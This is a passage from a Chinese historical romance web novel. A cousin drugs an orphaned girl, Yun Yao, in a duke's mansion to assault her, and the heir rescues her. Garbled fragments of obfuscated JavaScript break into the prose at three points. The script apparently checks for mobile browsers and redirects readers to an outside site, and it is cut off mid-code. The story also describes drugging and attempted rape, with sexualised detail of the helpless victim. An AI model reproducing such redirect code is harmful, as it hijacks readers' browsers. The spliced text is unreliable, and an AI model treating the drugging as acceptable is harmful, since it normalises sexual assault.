她其实不想他们走的,可是现在寄居国公府,她做不了主。云窈一直伫着目送两辆马车调头,走远,眼泪不受控往下掉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499678|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 落玉也在旁哭,唯有新来服侍的桂圆劝慰:“小姐,您别哭了,伤身。” 云窈掏帕子擦拭,仍未止泪,桂圆见状挽住云窈,目眺远方,心里却一遍遍默记:钱在紫漆金山盒子里,紫漆金山盒子。 她得了单氏命令,盯梢云窈,要弄清楚云家的钱都藏在哪里。过了会回院以后,就扯个小解的由头,去给单氏回报。 正过抄手游廊,一只臂兀地横挡,蛮不讲理拦下桂圆。 桂圆面上慌张一闪即逝,转为堆笑:“三公子。” 齐宽抿着唇,弯着眉眼,起手就在桂圆腰上掐了一把,往她耳边吹起:“好些天没疼你了,今晚去我那里?” 桂圆往旁边缩脖子:“奴婢如今服侍云姑娘,不大容易出入。” 齐宽勾唇:“那我就去云姑娘那里……” “万万不可!”桂圆惊慌,“被云姑娘知道了怎么办?” “你紧张什么?”齐宽笑意欲浓,眸色重黑,偷香窃玉,香在一个偷字,“就是被她知道了才刺激……” 他心弦忽地一拨,幻想起被云窈发现,二女齐来服侍自己的美梦。 桂圆怕得要命,却不敢躲,任由齐宽上下其手。 齐宽似不经意问:“说不容易出来,眼下是去作甚么?” “姨娘让奴婢盯着云姑娘,摸清她银票藏在何处。” 原来是去回报的,齐宽扬高嘴角:“那在何处有呀?” 三公子不是没私吞过,桂圆哪敢交待:“奴婢还是先去回姨娘老爷。” 她说了又怕齐宽生气,攥着拳抑下惧意,僵硬却主动地往齐宽身上贴。 啪! 齐宽直接一巴掌将桂圆扇倒在地。 “小贱蹄子,爷白疼你了,吃里扒外!”说着要往桂圆身上再揣一脚,桂圆眼泪汪汪,却一动不敢动。 “你这是做什么?”单氏刚好走到拐角,出声阻拦,接着领着一帮婢女,风风火火近前。 齐宽气矮三分:“娘——” 他谎话张嘴就来:“这小贱蹄子想勾搭我!” 单氏这辈子就守着个宝贝儿子,闻言顿时火冒三丈,正对桂圆脸面,狠狠唾了一口:“吃了豹子胆的狗东西!” 单氏抬手扶向齐宽胸口:“你犯不着和这些个货色置气。” 她儿子什么身份?可是国公府的三公子,皇亲国戚!自然有下贱胚子前仆后继攀附,跟群苍蝇似的。 单氏不掩厌恶,将周遭一圈丫鬟全狠狠警告了一遍,而后才寻个由头,私下问桂圆,是不是瞧见云窈取钱了? 桂圆泣声:“果然如姨娘猜测,她额外拿了钱给那俩马夫,是从紫漆金山盒子拿的。” 单氏叹口气,将桂圆拉到身边,抬手打算抚她的脸,以示安抚,却瞧见风干的唾沫,手止住,只言语温柔:“是我那不孝子主动找的你吧?” 桂圆不敢讲真话。 “可怜孩子,你受委屈了。” 桂圆再抑制不住,吸鼻仰面,一阵痛哭。 单氏不住劝慰,心里是另一番想法——她年纪上去后,齐岚已鲜少同她亲热,因此听见男男女女,谁勾搭谁这种事,止不住一阵烦闷,何况还涉及她的好大儿! 单氏觉得定是桂圆太风骚,才引齐宽做错事,要不是还要指望她监视云窈,现在就将这狐媚子发卖出去! 桂圆回房时,面上仍显浅淡红痕,云窈不禁关切:“桂圆,你怎么了?” 落玉这会也注意到:“是啊,去了那么久,回来就脸红红的。” 桂圆不吭声。 落玉囔囔追问:“到底怎么了?摔了?” 云窈抬手,阻止落玉,不愿意讲就不要逼问了。她拉开梳妆台的抽屉,拿出一掌心大小的瓷白盒子:“这膏药能褪红消肿,你拿去吧。” 桂圆杵在原地不敢接,云窈将瓷盒塞进桂圆手里,浅笑:“这个越早用效果越好,我帮你抹些吧。” 说着开盖往桂圆颊面泛红处抹,还问:“我手重不重?” 桂圆猛地摇头,云姑娘手不重。 云姑娘好温柔。 膏药抹在脸上清清凉凉的…… 桂圆禁不住落泪:“云姑娘……” 欲言又止。 云窈止住动作,等桂圆说。 桂圆续道:“云姑娘我——” “琴琴!”单氏已至门前,跟来的两名婢女为她开门。 4. 第四章 桂圆立马合唇,好怕方才那几个字被单氏听见,心快跳出嗓子眼。 云窈不察,转身施礼:“姨妈。” 单氏颔首笑说:“今日本该带你去见姐姐,但她回娘家了,就先领你见殿下。” 云窈心里绕了会,才明白姐姐指代的齐岚正室冯氏,殿下则是国公府的当家主母汉阳公主。 云窈走神一会,单氏竟走到桂圆身边,关切:“你脸怎么了?” 桂圆紧张得攥拳,撒谎时心不住颤动:“奴婢方才小解,奶奶那边的人也去,嫌奴婢出来慢了,打了一巴掌。” 云窈张目,这巴掌是冯氏的人打的?! 她一会看桂圆,一会瞥单氏,单氏却将云窈手一捉:“这事待会回来再说,先去殿下那里,迟了失礼。” 云窈迟疑须臾,低头应喏。 她随单氏出门。 这国公府竟大到二房去长房那里也要坐软轿。 单氏路上偶尔给云窈介绍,湖边如横琴的长堤叫琴堤,泉眼旁的是泉亭,那边一片桃林并石碑唤作桃花残碣。 单氏笑道:“我们这府里有一湖、一堤、三林,十二景。” 云窈咋舌。 行了许久,软轿方落,小厮退去,单氏领云窈过月洞门,再过穿堂,云窈见堂前亦植一排芭蕉,二房除了她那院子,倒不多见。 长房的仆妇帮掀门帘,单氏一跨入堂内立马参拜:“民妇参见公主殿下,问二公子安!” 她肘拐云窈:“见到殿下还不下跪?” 云窈没想到这辈子会见到公主这般大人物,本就紧张,再被单氏压得说不上话,愈发忐忑,只扫见上首坐着两人,男女都没分清就跟着单氏三跪九叩:“民女参见公主殿下,问二公子安!” 说完了才缓过神来细想,原来公主旁边坐的是二公子,还以为是世子。 汉阳公主温声允道:“平身。” 单氏拉云窈起身,笑眯眯向公主介绍:“这位是民妇的亲侄女,我妹子夫家没人了,可怜则个,接来府里。” 公主闻言亦唏嘘,给云窈赐座赐茶,云窈随单氏再次谢恩,这才敢抬头偷瞟几眼国公府女主人——公主穿白梅蝉翼纱,辨不清有几层,梳抛家髻,满头珠翠,柳眉樱唇却自带一股飒爽气。 公主睨了眼云窈,视线对上,云窈赶紧收回目光,垂首盯自己脚尖。 她完全没留意坐在公主身侧的二公子齐拂意,所以不知道齐拂意一直眯着眼,想打量她。 起先云窈跪得快,他没瞧清,只听一声“问二公子安”,莺莺呖呖。 待云窈直身抬头,窥视公主,齐拂意才终于看见她的眉目,当下心中淌过八个字:光容鉴物,媚丽非常。 云窈躲避公主对视,那惊慌一眼,更是在齐拂意心里一挠,不由呆住。 婢女奉茶。 单氏笑同云窈说:“这是御赐的龙凤团饼,咱们沾了殿下的光,才能喝到。” 云窈本已接过汝窑盏,闻言赶紧放下,朝公主屈膝再拜谢。 公主莞尔:“也不用时时都这么客气,局促得紧。” 云窈本能屈膝认错:“对不起,是民女的错。” 说完才意识到自己把气氛弄得更局促了,顿时小脸通红。公主却后仰笑起来,咳了两声,捂着口让她重新坐下。 云窈遵旨入座。 公主笑问:“你尝尝,好喝不?” 云窈乖乖呷茶,盖好盖放下茶盏,方启唇:“回公主,好喝。” 上首,齐拂意笑道:“姨娘和妹妹若是喜欢,可以带几饼回去。” 说着朝身后婢女抬了抬下巴,当即有婢女去取茶饼。 单氏忙摆手:“哎呀使不得!” “您就收下吧。”齐拂意让婢女将团饼交到单氏手上。 单氏余光偷窥公主,见其面色平和,才敢收下贡茶:“谢过殿下和二公子的美意。” “妹妹怎么称呼?”齐拂意看着云窈问。 云窈这才留心二公子,抬眼看去,上首男子面色温和,碧玉簪,青缎面,混似一棵青松。 她不知该自己答,还是让单氏答,看向单氏。 单氏便朝着上首躬身:“民妇的侄女姓云,单名一个窈窕淑女的窈字。” 齐拂意颔首,没再追问,倒是公主又问两句,家里做什么的,可曾上学? 单氏能答的尽帮云窈答了,不能的才让云窈自己说。 公主道:“改日有空,让拂意领你逛逛京城。” 单氏慌忙推脱,不敢劳烦二公子。汉阳公主本就是句客套,没真打算,就此揭过,妇人间又寒暄数句,单氏便领着云窈辞出。 离开长房,坐上软轿,云窈长长松了口气。 隔了十来日,二房齐岚的正妻冯氏从娘家回来,云窈又跟随单氏去拜见这位夫人。 想起桂圆脸上的伤是冯氏房里仆妇打的,云窈隐隐有些惧怕,跟那日拜见公主一样,硬着头皮走进去。 冯氏未像单氏那般涂抹口脂,一张寡淡素颜,倚着高背椅自摇蒲扇。她一左一右各立一少女,单氏主动给云窈介绍:“这是你姝静姐姐。” 云窈眺向左侧茶褐色衫裙,眉清目秀的少女,才将端详两眼,单氏就引荐右边:“这是你姝妍妹妹。” 云窈又往右看,少女肤白唇红,两颊也透着红色,一看气血就足,穿衣也浓烈,月白纱衫里枣红抹胸隐约可见。 云窈晓得冯氏只有一个亲生女儿,但眼前二位分不清嫡庶,云窈干脆一抹黑姐姐妹妹地见礼。 齐姝静屈膝,默然回个万福。 齐姝妍则眉飞色舞,笑问云窈:“姐姐,你是不是有些拘谨?” 须臾,冯氏看向单氏,笑道:“小辈们多不习惯和我们这些老家伙在一起。” 单氏忙接话说哪有的事,冯氏用蒲扇扒了下单氏:“算啦,我们给她们点自在。”冯氏笑着吩咐,“姝静姝妍,领云姑娘去花厅坐坐。” “唉!”齐姝妍甜甜应声,过来挽起云窈臂膀,“窈娘,走,我们去花厅。” 云窈跟随她走,心想,可能这位活泼妹妹是冯氏亲生女儿。 花厅跨院,四面开窗,半栏坐槛,对一丛丛未开花的绿枝。云窈进门后略微扫视,掠过对联,目光落在一幅挂画上。 画少女着鲜红骑装,策马驰骋。 少女的面容似曾相识,云窈正琢磨着,听见齐姝静第一次开口:“那是二妹的骑马图。” 画上是齐姝妍! 云窈侧首看向齐姝妍,齐姝妍笑问云窈:“窈娘会骑马吗?” 云窈莞尔、摇头:“不会。”她眼睛亮亮地凝视齐姝妍,“二姑娘真厉害,女中豪杰。” 齐姝妍便道下回有机会教云窈。仨女都坐下,相互再做介绍,浅聊了些各自爱好,再玩会便回去。 正厅内不见单氏,只剩下冯氏并一干仆妇。 云窈环视,冯氏告诉她,单氏有事先回去了。云窈便也想走,冯氏却走近,上下打量云窈:“真是个好孩子。” 云窈脸红,低头。 冯氏又问些云窈爹娘的事,云窈虽奇怪之前已经答过一回,但仍如实再答。 冯氏轻道:“真成吃绝户了。” 她“吃”字吐得极轻,云窈不大真切,好像只说了“绝户”,没说“吃”字。齐家姊妹已经坐下,离得远,看神情更不可能听见。 云窈一时心狂跳,手足无措。 等她回院子单氏偏还来找她,询问自己走后,冯氏私下说了什么。 除却绝户,云窈旁边都交待。 单氏哼一声:“明明是她差遣我送东西去大房,却跟你说我自个有事……她是不是还在你面前诋毁我了?你老实告诉姨娘。” 云窈赶紧摇头,一骗人撒谎,她就心跳剧烈,耳根发红。 单氏叮嘱:“这府里多得是佛口蛇心的,你千万莫上她们的当。” 云窈点头,但其实心里拿不准姨妈和冯氏谁对,一点底气都没有。以前家里人少,关系简单,没遇到过这种情形。 她回房后,用一个极其蹩脚的理由支开落玉和桂圆,然后颤抖双手去开紫漆描金山水的檀木盒。 自家存钱的宝箱,光明正大,云窈却似做贼贼似,一手的汗,打开后箱内空空,仅剩垫底的绸缎布。 她心好似一脚踩空,箱子没被撬,里头的银票却全都不翼而飞了。 云窈身子发软,瘫倒坐地。 少顷,又怕落玉和桂圆进来瞧见,手撑着站起,躺到床.上,背朝外面。 她摸脖颈上挂的那块水滴状,背面雕了个琴字的桃红碧玺坠子,渐渐攥紧。 其实云家的钱包括卖铺子卖地的,都存在当今最大,京城杭州皆有分号的昇昌钱庄,要凭这枚坠子才能取钱。紫漆宝箱里仅只零头,损失不多,但她就是怕,惶恐不安,无声淌眼泪。 许久,婢女们才取东西回来,落玉瞧见云窈躺床上,旋即就问:“小姐,你怎么了?不舒服吗?” 桂圆神色两分不自然,身向角落里挪。 云窈已经止哭,泪干在脸上,她轻声道:“没什么,我就是今天累了,躺会。” “小姐好好休息。”落玉赶紧拉桂圆出去。 云窈纠结挣扎,最终还是趁早去找了单氏,告知银票失窃。 单氏先惊后恼,勒令仆从聚集院中。 云窈被单氏的吼声吓到,绣鞋往后微挪。 “哪个不长眼吃里扒外的,偷到我侄女头上?”单氏对着一班跪地仆从破口大骂,接着转身面向云窈,胸仍起伏,“姨妈今日给你做主,一定审出贼来。” 云窈哑口。 挨个拷打了一圈,无一人招。 单氏也不说话了。 唯有云窈发问:“姨妈,会不会不是家贼,是从外面翻进来的?” 单氏含糊。 云窈续道:“我们要不报官吧?交由衙门擒贼捉赃,天网恢恢,疏而不漏。” 单氏却轻咽,沉下脸来。 云窈睁大一双美目,静静注视单氏。 单氏与她对了一眼,遣散众仆,压低嗓音:“你姨父当差,表哥也不日就要入仕,一旦报官就传出去了,耽误他俩仕途是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐岚瓷盖划了下茶盏:“那东西……还有剩的么?” “没了,但好弄得很,孩儿再买些来。” * 盛夏某日,烈日当空。 齐拂己自觉心定,从水月寺归家。 他不爱坐车,自骑一匹青马归京,大安速喜亦策马跟随。酷暑天,跑马生的是热风,大安速喜皆觉置身蒸笼,大安更因热汗生痒,扯开领口,伸手抓挠。 齐拂已听见挠痒声,不动声色,但到前方遇着冰饮子摊,勒缰跃下,请大安速喜各喝一碗,并纳凉歇会。 旁边有也喝饮子的挑夫,猝不及防褪去上身短褐,光着膀子拧衫,汗滴一地。 大安蠢蠢欲动,也想拧衫,看向齐拂己,眼神询问。齐拂已道:“你拿帕子擦擦吧,不可失仪。” 大安和速喜垂首应喏,过会偷瞧齐拂己——世子爷伫在原地,仅额上微汗,肤色反而比未出汗时更白,眸中不见一丝躁动,他也没喝冰饮子。 “爷您不热吗?”大安忍不住问。 齐拂己启唇:“心静自然凉。” 仨人缓了刻把钟,翻身上马,再向京师驰骋。 进城不久,就有一骠肥银鬃从后斜插,少年文武袖、紫金冠,戴同色抹额,神采飞扬,信马由缰。 大安速喜见状不约而同压低马速,落到后面,少年渐渐打马与齐拂己平齐,噙笑唤齐拂己表字:“镜明!” 来者不是别人,正是当今步太尉的独子步仙镝,他与齐拂己,建平侯幺子李凝从小一处长大,最为交厚。 “这回也没出成家么?”步仙镝放声大笑。 齐拂己被他揶揄,却无气恼,和煦道:“我过段时间再去。” “还要去啊?”步仙镝挑眉,“出家就非认准一座寺庙吗?旁的都不行?你还真是一棵树上吊死。” 齐拂己任他说,两马齐行,马蹄声此起彼伏。 步仙镝邀道:“既然回来了,我们去季平家里坐坐?正好他今日休沐。” 季平是李凝表字,他是仨人中唯一入仕的,如今在大理寺任少卿。 齐拂己颔首。 二人打马来到建平侯府,正撞见李凝公服佩刀出门,身后还跟两大理寺官差。步仙镝奇道:“不是休沐吗?” 李凝先瞥步仙镝,而后看向齐拂己:“你来得正好,我正打算去找你。” 齐拂己蔼然:“怎么了?” 李凝毫不犹豫道:“进去说。” 三人回了建平侯府书房,离凝才道出最近在查一桩金凤阁娇逼良为娼的案子。 “那鸨母在用一种禁药夜夜娇,入水既化,女子服食后,任是玉女尼姑也动情。” 房中三人独李凝成了亲,有通人事,步仙镝满脸通红,齐拂己面无表情。 “我们追查得鸨母还曾兜售此药,流出阁中,当中有一名买主是国公府三公子齐宽。”李凝看向齐拂己,神色凝重,“镜明,只怕你堂弟已犯下不少恶事。” 5. 第五章 “怎么会发生这种事情?”步仙镝涨红面皮拍桌,“还有没有王法了?” 齐拂己沉吟,少顷,面向李凝:“我会回家查清,如真有作恶事,定会全力配合你除恶铲奸。” 李凝信齐拂己是大义灭亲之人,点头道:“这样最好。” 要案当头,仨人再无闲心,约定改日再聚。 李凝重新赶赴衙门。 齐拂己策马归家。 步太尉府与魏国公府距离不远,步仙镝顺路,两马时前时后,步仙镝多得多,齐拂己答得少。行直半途,迎面打马来一少女,石榴红裙随风扬起,整条街上最耀眼。 “步仙镝!”少女高声呼唤,远远就能听出声中喜悦。 步仙镝定睛一看,原是国公府二房的庶女齐姝妍,瞬时攒眉。 齐姝妍打小缠步仙镝缠得紧,全京城都晓得齐二小姐心仪小太尉,偏步仙镝对她无感,甚至有些厌恶。 他马往后退,一面躲一面同齐拂己抱怨:“又来了!能不能管下你家妹妹?” 齐拂己翘唇角,温声道:“二妹妹很喜欢你。” 步仙镝听这话就来气,仿佛被点燃的炮仗:“她喜欢我我就必须喜欢她吗?” 全京城都说这般痴情的齐家二小姐,不可辜负,又说女追男隔层纱,奇怪他怎么还没接受齐姝妍? 可他不喜欢她啊,为什么要逼他接受? 强买强卖!明明他才是受害的那个,却成了无情无义辜负之人。 步仙镝冷哼一声,调转马头,连齐拂己都不想理了。 齐拂己未料到他这大气性,缓缓敛笑。 齐姝妍已在这须臾间近前。 她就像没看见步仙镝的一脸愠恼,笑着朝他凑近、倾身,连马头也几乎贴上步仙镝马头:“小太尉,你瞧瞧我的新刀,怎么样?好不好看?” 步仙镝拧眉睨向齐姝妍腰间,别着一把金银钿装大刀。 这刀她以前没有,新配的,和步仙镝平日挂在腰间的那把极其相似。 他火腾地一下蹿上来,愈发犯恶心,扬鞭打马:“驾!” 步仙镝不管鞭子是否会刷到齐姝妍脸上,也不顾马头冲撞,就往前冲。还是齐拂己眼疾手快,抓住齐姝妍的马缰往左拽,才将将避开。 齐姝妍惊魂未定,步仙镝自她身边如风驰过,冷冷丢下一句:“不怎么样,画虎不成反类犬!” 他的那把金银大刀,回去就解了,再也不佩! 齐姝妍下意识要追,缰绳却被齐拂己单手拽着收紧,不允她去。 齐拂己劝:“二妹妹,莫要追了。” 齐姝妍回头:“大哥哥……” 齐拂己面上浮起浅淡笑意,柔和道:“回去吧。” 齐姝妍仍频频扭头,朝步仙镝离去方向看,过了好一会,才答应和齐拂己归家。 沿路前半城垂头丧气,没有言语,仅闻哒哒马蹄声。 到后半程,齐姝妍先问些齐拂己出家的事,快到国公府了,才想起云窈,笑问:“大哥哥晓得家里来客人了吗?” “不知。”齐拂己和颜悦色回应,面上并无恼意,但也无甚兴趣。 齐姝妍瞧得分明,知道大哥哥修佛不问世事,而国公府又常有打秋风的亲戚,便没有再讲下去。 到府门口齐拂己先下马,再扶齐姝妍下来,二人进门走了一会,齐拂己内力雄厚,比齐姝妍听得远,那右首月洞门外有两女子私语。 他抬眸,远眺一眼,女子们正好被太湖石挡住,瞧不见面目。 齐拂己以为是婢女,收回目光,问齐姝妍:“我要去问母亲安,你去吗?” “我去!”齐姝妍点头附和。 堂兄妹一起过垂花门,去拜见汉阳公主。 公主早年间还操心齐拂己婚事,眼界极高,挑的不是郡主县主,就是三公嫡女,可安排相看却妾有情,郎却一心礼佛,无一例外。 再后来公主就不强求齐拂己成亲了,只要留个后,延续国公府香火就好。 最近几年,她挑了好些通房,个个端庄本分,知书达理,甚至还有心选过两位精通佛理的,结果怎么送去世子房里,就怎么退回来,齐拂己给了她们身契出府时,都是清白之身。 到现在,汉阳公主只要瞧见大儿没有出家,就已经泪如雨下,十分欣慰——人还在红尘里,没有断绝亲缘就好,就好。 她不敢再多奢求。 汉阳公主数月不见齐拂己,捧着他的脸,怎么也看不够。齐拂己知母亲心境,侍奉公主添茶、揉肩,陪着说了会话,知无不言。 而后便请辞去佛堂。 出门至僻静处,对一排芭蕉,除却大安速喜再无第四人,齐拂己才低声吩咐:“速喜,去三公子那边瞧瞧,务必低调,不要被人察觉踪迹。” “喏。” “如见异动,速来报我。” 速喜再次应喏,一眨眼就就没了人影,去无踪。 齐拂己自己则携大安,不紧不慢往佛堂踱步。约莫一刻钟后,忽听身后有人缓慢发问:“大……哥?” 主仆二人齐齐转身,见不远处立着二公子齐拂意,而后一簇青影迅速移近,由模糊至清晰。 齐拂意初时还好,走得久了就两肩高低不平,显出左足微跛的毛病。齐拂己快步折返,朝弟弟走近,口中叮嘱:“你站那里。” 齐拂己走三两步,齐拂意才迈一步,兄弟俩很快汇合,看两端路长短,齐拂己迁就更多。 “大哥,真是你!你回来了!”齐拂意眯着眼不住喘气,嘴唇不住张合,似有许多话要说。 齐拂己旋唇角,眺向不远处石桌石凳:“去那边坐着说。” 他有意压慢步子,令齐拂意的步伐随之放慢,两肩平齐,不显残缺。 齐拂意一落座就笑问:“大哥以后不出家了吧?” 他以为齐拂己这趟回来是自己舍不得尘缘。 齐拂己摇头:“不是我改变主意,是玄苦大师不愿意收留,过段时间我会再去。” 齐拂意脸上很快没了笑。 齐拂淡然道:“二弟,我这趟回来其实还想办一件事……” 不等他说完,齐拂意原先搁在桌上的右臂就猛地抽走。 齐拂己睹见,却仍执意说完:“……就是将世子之位让贤于你。” “大哥!”齐拂意顿足,“你也晓得我是一介残身,如何担得?”他咧嘴苦笑,“再说我才学武功也远不及你,光耀门楣还得大哥。” 齐拂己心道国公府已经是钟鼎高门,乘肩策肥,花团锦簇,还要如何如何光耀? 再则世间荣华皆是过眼云烟,朱阁转眼成荒场,黄粱虚妄。 他风淡云轻地想,说起来也平心静气:“你品性仁善,如何不能当?至于你身上二疾,我今生都会在佛前祷告,将来一定能够痊愈。” 齐拂意知道大哥一直在为自己祈福,且不止于此,他还时常寻药托大安捎回国公府。兄弟间吹埙吹箎,手足情深。 但让贤之事,仍说不通,更行不通。 之后,无论齐拂己如何解释,齐拂意都坚持拒绝世子之位。 僵持良久,齐拂己忽扫见速喜现身,垂首等在路上,便道:“二弟,今日先不同你拗了,相信用不了多久,你会想通。” 说罢拱手告辞。 齐拂意亦攥着折扇拱手:“我也希望过几日大哥不再执着让贤。” 兄弟二人道别,待齐拂意走远,速喜才近前。事情虽急,但关乎国公府声誉,世子未做决定,他为人奴仆的,不敢擅自在二公子面前宣章:“世子,大事不好,奴瞧见……” 速喜附齐拂己耳边低语。齐拂己听着听着,神色渐凝,面沉如水。 * 接连半月单氏都撬不开云窈的嘴,打听不出云家财产下落,便想着软硬兼施,带云窈出门逛逛京城,兴许心情好了,能漏一嘴。 过桥时云窈稍慢了些,落后数步,单氏扭头催促:“琴琴,快走呀!” 云窈小心翼翼朝前眺一眼,心里打鼓——马上就快到大门口了。 她已经信不过姨妈了,很怕出去人生地不熟,又遇到什么她没经历过,亦无法应对的情况。 仿佛城里有什么恶狼猛虎。 “你怎么慢吞吞的?”单氏拧眉,再次催促。 云窈赶紧跑下桥,步子快了,怕踩着裙角稍稍提起来,心也跟着一提,万分纠结——她觉得自己像只风筝,明明知道天色阴暗,暴雨前夕放会损坏风筝,身为一只风筝却身不由己,任放风筝的人操控,诚惶诚恐仍不得不奔赴风雨。 单氏和云窈快走到太湖石边上时,后面突然有人喊:“娘、表妹!”那人一路小跑,携阵风到近前:“娘,我正到处寻你呢,快跟我回去!” 云窈第一反应:不用出门了! 她松口气。 既而意识到来的是齐宽,心一紧重生忐忑。 “什么事啊?”单氏的眉头就没舒展过。 齐宽笑挽单氏臂膀:“这不方便,回屋再说。” 云窈闻言咬了下唇,再抬头看去:“姨妈,那我……先回去?” 单氏沉默须臾,点头:“那你先去吧,改日再带你逛。” 云窈赶紧埋着脑袋折返。齐宽目送,视线从云窈后背慢慢下滑,定在某处,噙起意味深长的笑。 单氏瞧得分明,但无言语。 待回屋内,单氏问他神神秘秘是有什么事,齐宽笑道:“娘,我那蟠龙玉珏寻不见了,是不是您给收起来了?” “我哪收了?你自己放的自己记不起!”单氏虽然这样说,但还是帮着翻箱倒柜找,很快从抽屉里摸出一只成色上佳的玉珏,“这不在这吗?你自个收得好好的!” “谢谢娘。”齐宽嘴甜,“得亏娘了!” 单氏白他一眼:“今儿唤娘回来,不是为了找玉吧?” 齐宽笑而不语。 单氏又问自己另外一名唤作红枣的婢女去哪了? 齐宽这才挽向单氏手臂:“娘——” 单氏再白儿子:“你是不是让红枣去喊琴琴了?” 齐宽一笑:“什么都逃不过娘的眼睛。” 红枣和桂圆一样,都被他得了身子,听话得很。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桃花残碣旁有桃林假山,围住一独立精舍,只一条曲径进出,颇为隐蔽,取前朝“前朝桃花流水窅然去,别有天地非人间”意境,命名别有洞天。 云窈进精舍环扫,主座客座皆无人,十分寂静:“怎么没……” 她边说边回身,陡见红枣正将两扇门关上。云窈止声,急急奔向门边,却还是晚了一步,门砰地关上,红枣麻利落锁。 云窈推不动门,先是单手拍,继而双手拍:“开门呀,开门!红枣,你锁门做什么?” 无人应她,云窈对单氏仍存数分良善和希望:“红枣,你这样骗我,姨妈知道了不会饶你的!你开门,我就当这事没发生过……” 话还没说完,就觉两眼一沉,好晕。 云窈揉太阳穴,没有一点缓解,反而手软脚软,不知不觉坐到地上。 过了一会,身上越来越燥热,哪哪都痒,云窈不由自主扯领口,挽高袖子。 齐宽开锁进来时,云窈正躺在地上,美人横卧。 他反锁好门,将她打横抱起,笑问:“妹妹是不是将那一杯都喝了?” 那禁药夜夜娇,能叫嫦娥思凡,麻姑动心。 云窈迷迷糊糊,口不能言,任由齐宽将她抱到床上。 他喜欢主动些的,便从怀中掏出瓷瓶,倒出一粒,虎口掐开云窈樱唇:““来,妹妹再吃一颗没化的。” 先塞药再按云窈咽喉,迫她吞下。 云窈四感蔽塞,唯有触感漫天席地,无边无垠。她觉得方才有什么冰凉物贴了自己脸,能解滚烫,便主动将身贴过去。 “妹妹别急。”齐宽嗤笑,见云窈衣衫凌乱,但系带却一个未解,不由摇头,“真是个傻丫头,扯了半天怎还穿得这样齐整?” 齐宽抽丝般解开云窈抹胸系带,刚要掀起,忽听哐当巨响,有人破窗而入。 来人如一阵风近前,齐宽尚未瞧清,就被手刀敲晕。 齐拂己墨发白衫,凤目怒张,周身挟带了三九的凛冽寒冰——方才仅朝床上扫一眼,就明白齐宽真如李凝所言,行如禽兽,罪恶滔天! 云窈仍处迷幻中,方才那清凉呢?怎么没了? 她本能渴求着朝外滚了半圈,松垮挂脖上的肚兜瞬间滑落。 齐拂己听见响动,朝前迈了一步,猝不及防睹见一床雪落峰峦,起伏错落,和倾国倾城的绝色容颜。 他急急别首转身,反手掀被盖住云窈。 齐拂己太阳穴突突地跳,两耳嗡鸣,不知是惊的、羞的、恼的、亦或其它。他脑子很乱,明明已经背对云窈,却仍止不住浮现她的脸和胴体,连那一滴自眼角滑落至潮红脸颊的泪都清楚记得。 以前有婢女爬床,在他面前宽衣解带,不曾乱过。 看来水月寺的魔障仍在,齐拂己闭眼,要将所见从脑子里挤出去,又劝诫自己,红颜枯骨,她不过是一具白骨。 6. 第六章 他尚未完全平复,云窈就挠了挠后脖颈,追寻着清凉,摸向床沿,目不能视,不知道摸空。 齐拂己听见动静转身,见她悬空半身,即将跌落。他下意识伸臂半蹲,将云窈兜住。 云窈前倾,彻底倚进他怀中,滚烫的身子紧贴齐拂己的衣衫。夏天料子薄,他恍觉与她肌肤相亲。 好舒服……云窈心生欢喜,一双藕臂勾住齐拂己的脖子,翘着嘴角不住往他身上蹭。 “别动。”齐拂己哑声。 他手虽然搂着云窈,却实在不知该往哪放。 心乱如麻。 为了躲她蹭来的面颊,他左右摇首,又往下避,却陡然瞅见挤在自己胸膛上的两团,鼓鼓胀胀,那般近。 齐拂己觉得阵前鼓在贴着耳朵响,木槌时而急促地敲击鼓面,惹得心跳加快,几近窒息;时而两槌相击,清脆一响,激得心跳丈高,一阵悸动。 云窈仍蠕动,在齐拂己身上蹭来蹭去,他觉得像只小猫在抓心,又好像总有一丝碎发,挠来挠去,止不住地痒。 云窈微扬下巴,忽然启唇,低泣:“难受,帮帮我……” 齐拂己整个人倏地定住。 她是款款而来的山鬼,是烟视媚行的狐精。 他浑身僵硬,唯有一处随心火蓬勃,无风亦飙涨。 他抬起不住颤抖的胳膊,对准云窈脖颈,也来一记手刀。 云窈终于安分了。 齐拂己拉来夏被,再次将她裹严实,连脖颈都遮住不漏。 将她放回床上后,他蹲下搜查齐宽,翻到一个比巴掌小的瓷瓶,拔塞瞥了眼里面的药丸,脸冷得像结霜。 齐拂己拽起齐宽领口,将他拖远床榻。在外间伫了会,待气息平复,才开门。 大安速喜已候在门外,齐拂己将瘫如尸的齐宽丢给速喜,同将瓷瓶塞进速喜手中:“人赃俱获,速带去大理寺交给李凝。” 速喜立马抱起齐宽要走,齐拂己一怔:“等等!” 速喜转回身:“世子还有何吩咐?” 齐拂己脸色突然更难看些,滑了下喉头才道:“记得问下,有没有解药?” “诺!” 速喜离去后,齐拂己侧身。自从有婢女企图爬床,他就撵走了所有女侍,只留一年老聋哑,名唤余婆的仆妇,余下长随小厮尽是男子。 他吩咐大安:“喊余婆进别有洞天,照顾好里面那位姑娘。你在外面守着,若她醒了,就说余婆救的她。” 看了那女子身子,按理应该负责,但他已许佛门,只能当作一关破除魔障。 